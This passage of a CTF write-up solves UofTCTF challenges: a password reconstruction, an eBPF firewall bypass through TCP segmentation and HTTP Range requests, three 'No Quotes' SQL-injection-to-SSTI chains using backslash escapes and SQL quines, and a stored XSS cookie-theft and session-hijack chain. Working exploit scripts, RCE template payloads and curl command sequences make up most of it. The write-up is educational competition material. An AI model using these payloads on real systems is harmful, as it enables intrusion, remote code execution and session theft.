| $155     | 66      | 'B'   | 5, 20             |
| $159     | 82      | 'R'   | 6, 16             |
| $163     | 69      | 'E'   | 7, 8, 26, 29      |
| $170     | 78      | 'N'   | 9, 14             |
| $174     | 68      | 'D'   | 10, 12, 21, 24    |
| $184     | 79      | 'O'   | 13                |
| $191     | 90      | 'Z'   | 15                |
| $201     | 51      | '3'   | 18, 23, 28        |
| $205     | 57      | '9'   | 19                |
| $215     | 83      | 'S'   | 22                |
| $225     | 77      | 'M'   | 25                |
| $232     | 72      | 'H'   | 27                |

**5. Reconstructing the Password**

Mapping Processor globals to their expected character functions:

```
Position:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
Character: 0  Q  G  F  C  B  R  E  E  N  D  F  D  O  N  Z  R  C  3  9  B  D  S  3  D  M  E  H  3  E
```

Password: `0QGFCBREENDFDONZRC39BDS3DMEH3E`

**6. Verification**

```bash
echo "0QGFCBREENDFDONZRC39BDS3DMEH3E" | node runner.mjs
# Output: Password: CORRECT!
```

#### Flag

`uoftctf{0QGFCBREENDFDONZRC39BDS3DMEH3E}`

***

## web

### Firewall

#### Description

A web server running on port 5000 with the flag at `/flag.html`. The server is protected by an eBPF-based firewall that filters both ingress and egress traffic, blocking any packets containing the string "flag" or the '%' character.

#### Solution

**Analyzing the Firewall**

The challenge provides a BPF firewall (`firewall.c`) attached to both ingress and egress network traffic. Key observations:

1. **Blocked content**: The string "flag" (4 chars) and the '%' character are blocked
2. **Per-packet inspection**: The firewall scans each TCP packet independently for blocked content
3. **No reassembly**: The firewall doesn't reassemble TCP streams before inspection

**Bypass Strategy**

The vulnerability lies in the per-packet inspection model. Since the firewall inspects each TCP segment independently without stream reassembly:

1. **Ingress bypass (request)**: Split the HTTP request "GET /flag.html" across multiple TCP segments so no single segment contains "flag"
2. **Egress bypass (response)**: Use HTTP Range requests to fetch small portions of the file (3 bytes at a time), ensuring no response packet contains the complete "flag" string

**Exploit**

```python
import socket
import time

HOST = '35.227.38.232'
PORT = 5000

def send_segmented_request(request_parts):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    sock.settimeout(5)
    sock.connect((HOST, PORT))

    for part in request_parts:
        sock.send(part)
        time.sleep(0.03)  # Ensure segments are sent separately

    response = b""
    while True:
        try:
            data = sock.recv(4096)
            if not data:
                break
            response += data
        except socket.timeout:
            break
    sock.close()
    return response

# Fetch file 3 bytes at a time to avoid "flag" in any response
for start in range(0, 213, 3):
    end = min(start + 2, 212)
    # Split "flag" across TCP segments: "fla" + "g"
    request = b"GET /fla"
    request2 = f"g.html HTTP/1.1\r\nHost: {HOST}:{PORT}\r\nRange: bytes={start}-{end}\r\nConnection: close\r\n\r\n".encode()

    response = send_segmented_request([request, request2])
    # Extract and store response body...
```

**Key Techniques**

1. **TCP segmentation**: Using `TCP_NODELAY` and small delays between `send()` calls forces the kernel to send data in separate TCP segments
2. **HTTP Range requests**: Request small byte ranges (3 bytes, less than "flag" length) so no response contains the complete blocked keyword

**Flag**: `uoftctf{f1rew4l1_Is_nOT_par7icu11rLy_R0bust_I_bl4m3_3bpf}`

### No Quotes

#### Description

Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: "If you didn't know about robot combat back then, what would you be doing?"

Wu Bai: "There's no if. As long as you're here, I'll be here."

Author: SteakEnthusiast

#### Solution

This challenge combines SQL injection with Server-Side Template Injection (SSTI) to achieve Remote Code Execution.

**Vulnerability Analysis:**

1. **SQL Injection (app.py:76-79)**: The login query uses f-string interpolation with user input:

   ```python
   query = (
       "SELECT id, username FROM users "
       f"WHERE username = ('{username}') AND password = ('{password}')"
   )
   ```
2. **WAF Bypass (app.py:54-56)**: A Web Application Firewall blocks single and double quotes:

   ```python
   def waf(value: str) -> bool:
       blacklist = ["'", '"']
       return any(char in value for char in blacklist)
   ```
3. **SSTI (app.py:112)**: The home page uses `render_template_string` with user-controlled data:

   ```python
   return render_template_string(open("templates/home.html").read() % session["user"])
   ```

   The username from the database is inserted via `%s` format string and rendered as a Jinja2 template.

**Exploitation Steps:**

1. **Bypass WAF with Backslash Escape**: Use `\` as the username to escape the closing quote in SQL:
   * Username: `\`
   * This transforms: `WHERE username = ('\')` making `') AND password = (` part of the string literal
2. **UNION Injection with Hex-Encoded SSTI Payload**: Since we can't use quotes in the HTTP request, we encode the SSTI payload in MySQL hex format:
   * Payload: `{{request.application.__globals__.__builtins__.__import__('os').popen('/readflag').read()}}`
   * Hex-encoded: `0x7b7b726571756573742e...7265616428297d7d`
   * Password field: `) UNION SELECT 1,0x7b7b...7d7d -- -`
3. **RCE via SSTI**: When logging in, the UNION injects our Jinja2 payload as the username. On redirect to `/home`, `render_template_string` evaluates `{{...}}` and executes `/readflag`.

**Exploit Script:**

```python
import requests

URL = "https://no-quotes-XXXXX.chals.uoftctf.org"

def to_hex(s):
    return "0x" + s.encode().hex()

payload = "{{request.application.__globals__.__builtins__.__import__('os').popen('/readflag').read()}}"

s = requests.Session()
r = s.post(f"{URL}/login", data={
    "username": "\\",
    "password": f") UNION SELECT 1,{to_hex(payload)} -- -"
}, allow_redirects=False)

if r.status_code == 302:
    r2 = s.get(f"{URL}/home")
    # Extract flag from response
```

**Flag:** `uoftctf{w0w_y0u_5UcC355FU1Ly_Esc4p3d_7h3_57R1nG!}`

### No Quotes 2

#### Description

Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: "If you didn't know about robot combat back then, what would you be doing?"

Wu Bai: "There's no if. As long as you're here, I'll be here."

Now complete with a double check for extra security!

Author: SteakEnthusiast

#### Solution

This challenge builds on "No Quotes" by adding a "double check" that verifies both username and password match the database results. This requires a SQL quine technique to satisfy the check while still exploiting SSTI.

**Key Vulnerabilities:**

1. **SQL Injection (app.py:74-77)**: f-string interpolation allows injection:

   ```python
   query = (
       "SELECT username, password FROM users "
       f"WHERE username = ('{username}') AND password = ('{password}')"
   )
   ```
2. **WAF Bypass Required (app.py:52-54)**: Only single/double quotes are blocked:

   ```python
   def waf(value: str) -> bool:
       blacklist = ["'", '"']
       return any(char in value for char in blacklist)
   ```
3. **Double Check (app.py:101-106)**: Both values must match:

   ```python
   if not username == row[0] or not password == row[1]:
       return render_template("login.html", error="Invalid credentials.", ...)
   ```
4. **SSTI (app.py:115)**: Username used in template string:

   ```python
   return render_template_string(open("templates/home.html").read() % session["user"])
   ```

**The Challenge:**

* `row[0]` must equal our username input (for the check to pass)
* `row[1]` must equal our password input (quine requirement!)
* `session["user"] = row[0]` is used in SSTI, so `row[0]` must be our payload
* We can't use quotes in our input

**Solution Approach:**

1. **Backslash Escape**: Use `\` at the end of username to escape the closing quote and turn the rest into SQL injection.
2. **SQL Quine with HEX**: Use MySQL's `REPLACE()` and `HEX()` functions to create a self-referential payload that outputs itself.
3. **SSTI Payload**: Use `{{lipsum.__globals__.os.popen(request.args.c).read()}}` which has no quotes and reads command from URL parameter.

**Payload Construction:**

```python
# SSTI payload (quote-free)
ssti = "{{lipsum.__globals__.os.popen(request.args.c).read()}}"

# Username = SSTI + backslash (for SQL escape)
username = ssti + "\\"
username_hex = username.encode().hex()

# Quine template: $ gets replaced with hex of template itself
T = f") UNION SELECT 0x{username_hex},REPLACE(0x$,CHAR(36),HEX(0x$))#"
T_HEX = T.encode().hex().upper()
password = T.replace('$', T_HEX)
```

**How the Quine Works:**

The SQL executes: `REPLACE(0xT_HEX, CHAR(36), HEX(0xT_HEX))`

1. `0xT_HEX` decodes to template T (contains `$`)
2. `HEX(0xT_HEX)` returns T\_HEX as a string
3. `REPLACE(T, '$', T_HEX)` substitutes `$` with T\_HEX
4. Result equals our password input (since we did the same substitution in Python)

**SQL Query After Injection:**

```sql
SELECT username, password FROM users
WHERE username = ('{ssti}\') AND password = (') UNION SELECT 0x...,REPLACE(...)#')
```

The backslash escapes the quote, making `') AND password = (` part of the string literal. The `#` comments out the trailing `')`.

**Exploit Script (exploit.py):**

```python
import requests

def exploit(url, cmd="/readflag"):
    ssti = "{{lipsum.__globals__.os.popen(request.args.c).read()}}"
    username = ssti + "\\"
    username_hex = username.encode().hex()

    T = f") UNION SELECT 0x{username_hex},REPLACE(0x$,CHAR(36),HEX(0x$))#"
    T_HEX = T.encode().hex().upper()
    password = T.replace('$', T_HEX)

    session = requests.Session()
    r = session.post(f"{url}/login", data={"username": username, "password": password})

    if r.status_code == 302 or "home" in r.url:
        r2 = session.get(f"{url}/home?c={cmd}")
        # Flag is in the response
        return r2.text

exploit("https://no-quotes-2-INSTANCE.chals.uoftctf.org")
```

**Execution:**

1. POST to `/login` with the crafted username/password
2. SQL injection returns `(ssti_payload+\, password)`
3. Double check passes: `username == row[0]` and `password == row[1]`
4. Redirect to `/home` where SSTI executes
5. Visit `/home?c=/readflag` to execute the command

**Flag:** `uoftctf{d1d_y0u_wR173_4_pr0P3r_qU1n3_0r_u53_INFORMATION_SCHEMA???}`

### No Quotes 3

#### Description

A Flask web application with SQL injection vulnerability, but with a WAF that blocks single quotes (`'`), double quotes (`"`), and periods (`.`). Unlike "No Quotes 2", this version adds SHA256 hashing to the password verification, making the classic SQL quine approach more complex.

#### Solution

**Key Vulnerabilities:**

1. **SQL Injection (app.py:74-77)**: f-string interpolation allows injection:

   ```python
   query = (
       "SELECT username, password FROM users "
       f"WHERE username = ('{username}') AND password = ('{password}')"
   )
   ```
2. **WAF Bypass Required (app.py:52-54)**: Blocks quotes AND periods:

   ```python
   def waf(value: str) -> bool:
       blacklist = ["'", '"', "."]
       return any(char in value for char in blacklist)
   ```
3. **SHA256 Hash Check (app.py:101)**: Password is hashed before comparison:

   ```python
   if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
   ```
4. **SSTI (app.py:115)**: Username from session used in template string:

   ```python
   return render_template_string(open("templates/home.html").read() % session["user"])
   ```

**The Challenges:**

1. **No periods for SSTI**: Can't use `lipsum.__globals__.os.popen()` syntax
2. **SHA256 verification**: Simple quine approach where `password == row[1]` won't work

**Solution Approach:**

1. **Backslash Escape**: Use `\` at the end of username to escape the closing quote, turning the password field into SQL injection.
2. **SQL Quine with SHA2 Wrapper**: Adapt the quine to compute SHA2 of its own result:

   ```sql
   SHA2(REPLACE(0x$, CHAR(36), HEX(0x$)), 256)
   ```

   * `REPLACE(0x$, CHAR(36), HEX(0x$))` produces the password string (quine)
   * `SHA2(..., 256)` computes the hash, matching Python's `sha256(password).hexdigest()`
3. **SSTI Without Periods or Quotes**: Use Jinja2's `|attr()` filter with `dict()` trick:
   * `dict(__globals__=1)|first` creates the string `"__globals__"` without quotes
   * `|attr((dict(__getitem__=1)|first))` replaces `[]` bracket notation
   * Build the entire RCE chain using these techniques

**SSTI Payload (quote-free, period-free):**

```jinja2
{{((((lipsum|attr((dict(__globals__=1)|first)))|attr((dict(__getitem__=1)|first))((dict(os=1)|first)))|attr((dict(popen=1)|first)))((request|attr((dict(args=1)|first))|attr((dict(__getitem__=1)|first))((dict(c=1)|first)))))|attr((dict(read=1)|first))()}}
```

**Exploit Script:**

```python
import requests
import hashlib

def exploit(url, cmd="/readflag"):
    # SSTI payload (quote-free and period-free)
    ssti = "{{((((lipsum|attr((dict(__globals__=1)|first)))|attr((dict(__getitem__=1)|first))((dict(os=1)|first)))|attr((dict(popen=1)|first)))((request|attr((dict(args=1)|first))|attr((dict(__getitem__=1)|first))((dict(c=1)|first)))))|attr((dict(read=1)|first))()}}"

    # Username = SSTI + backslash (for SQL escape)
    username = ssti + "\\"
    username_hex = username.encode().hex()

    # Quine template with SHA2 wrapper
    T = f") UNION SELECT 0x{username_hex},SHA2(REPLACE(0x$,CHAR(36),HEX(0x$)),256)#"
    T_HEX = T.encode().hex().upper()
    password = T.replace('$', T_HEX)

    session = requests.Session()
    r = session.post(f"{url}/login", data={"username": username, "password": password})

    if r.status_code == 302 or "home" in r.url:
        r2 = session.get(f"{url}/home?c={cmd}")
        return r2.text
    return None

# Usage
print(exploit("http://localhost:15000"))
```

**How It Works:**

1. POST to `/login` with crafted username/password
2. SQL injection returns `(ssti_payload+\, sha256_hash)`
3. SHA256 check passes: `sha256(password) == row[1]` (quine computes its own hash)
4. Username check passes: `username == row[0]`
5. `session["user"]` is set to SSTI payload
6. Redirect to `/home` where SSTI executes
7. Visit `/home?c=/readflag` to get the flag

**Key Insights:**

* The SQL quine from "No Quotes 2" can be adapted by wrapping in `SHA2()` to satisfy the hash check
* Jinja2's `dict()` function creates real dict objects with string keys from Python identifiers
* `dict(key=1)|first` returns the string `"key"` without using quotes
* `|attr()` filter provides period-free attribute access
* `|attr((dict(__getitem__=1)|first))` replaces bracket `[]` notation

**Flag:** `uoftctf{r3cuR510n_7h30R3M_m0M3n7}`

### Personal Blog

#### Description

For your eyes only?

A web challenge involving a personal blog application where users can create private posts.

#### Solution

This challenge involves a chain of vulnerabilities: Stored XSS via unsanitized `draftContent` and magic link session hijacking via `sid_prev` cookie.

**Vulnerability Analysis:**

1. **Stored XSS in Editor**: The editor page (`/edit/:id`) renders `draftContent` without sanitization using `<%- draftContent %>` in EJS. While the `/api/save` endpoint sanitizes content via DOMPurify, the `/api/autosave` endpoint stores raw content directly:

   ```javascript
   app.post('/api/autosave', requireLogin, (req, res) => {
     // ...
     post.draftContent = rawContent;  // No sanitization!
     // ...
   });
   ```
2. **Magic Link Session Swap**: The magic link feature logs users into a different account while preserving the previous session in `sid_prev`:

   ```javascript
   app.get('/magic/:token', (req, res) => {
     const existingSid = req.cookies.sid;
     if (existingSid) {
       res.cookie('sid_prev', existingSid, cookieOptions());  // Saves old session
     }
     const sid = createSession(db, record.userId);  // Creates new session
     res.cookie('sid', sid, cookieOptions());
     // ...
   });
   ```
3. **Non-HttpOnly Cookies**: Cookies are set with `httpOnly: false`, making them accessible via JavaScript.

**Exploit Chain:**

1. Register a user and create a post
2. Use `/api/autosave` to inject XSS payload that steals cookies:

   ```html
   <img src=x onerror="fetch('/api/autosave',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:POST_ID,content:'DATA:'+document.cookie})})">
   ```
3. Generate a magic link for your account
4. Report the URL: `http://localhost:3000/magic/TOKEN?redirect=/edit/POST_ID`
5. When admin bot visits:
   * Bot logs in as admin, gets admin's `sid` cookie
   * Bot visits magic link URL
   * Magic link saves admin's `sid` to `sid_prev`, creates new session for attacker's user
   * Bot is redirected to attacker's XSS page
   * XSS executes and exfiltrates cookies including `sid_prev` (admin's session)
6. Read the stolen `sid_prev` from your post and use it to access `/flag`

**Commands:**

```bash
# Register and login
curl -X POST "http://target:5000/register" -d "username=attacker&password=pass"
curl -c cookies.txt -X POST "http://target:5000/login" -d "username=attacker&password=pass"

# Create post and inject XSS
curl -b cookies.txt -L "http://target:5000/edit" > edit.html
POST_ID=$(grep 'data-post-id' edit.html | grep -o '[0-9]*')
curl -b cookies.txt -X POST "http://target:5000/api/autosave" \
  -H "Content-Type: application/json" \
  -d '{"postId":'$POST_ID',"content":"<img src=x onerror=\"fetch('/api/autosave',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:'$POST_ID',content:'DATA:'+document.cookie})})\">"}'

# Generate magic link
curl -b cookies.txt -X POST "http://target:5000/magic/generate"
TOKEN=$(curl -b cookies.txt "http://target:5000/account" | grep -o '/magic/[a-f0-9]*' | tail -1 | sed 's/\/magic\///')

# Report to bot (solve POW as needed)
curl -b cookies.txt "http://target:5000/report" > report.html
POW=$(grep 'pow_challenge' report.html | ...)
# Submit report with magic link URL

# After bot visits, read stolen session
curl -b cookies.txt "http://target:5000/edit/$POST_ID" | grep 'sid_prev'

# Use admin's session to get flag
curl -b "sid=ADMIN_SID_PREV" "http://target:5000/flag"
```

**Flag:** `uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}`
